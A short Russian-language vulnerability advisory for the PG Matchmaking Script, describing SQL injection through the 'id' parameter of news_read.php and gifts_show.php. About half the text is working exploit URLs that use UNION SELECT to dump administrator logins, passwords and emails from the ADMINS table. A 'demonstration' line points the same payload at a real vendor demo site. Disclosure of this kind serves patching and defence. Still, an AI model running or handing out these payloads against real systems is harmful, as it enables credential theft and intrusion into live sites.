Программа: PG Matchmaking Script
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «id» сценариями news_read.php и
gifts_show.php. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.
Эксплоит:
http://localhost/[script_path]/news_read.php?id=-20 UNION SELECT
1,concat_ws(0x3e,Login,Password,EMail),3,4,5 FROM ADMINS--
http://localhost/[script_path]/gifts_show.php?id=-101 UNION SELECT
1,concat_ws(0x3e,Login,Password,EMail),3,4,5,6,7 FROM ADMINS--
Демонстрация:
http://www.datingpro.com/matchmaking/demo/news_read.php?id=-20 UNION SELECT
1,concat_ws(0x3e,Login,Password,EMail),3,4,5 FROM ADMINS--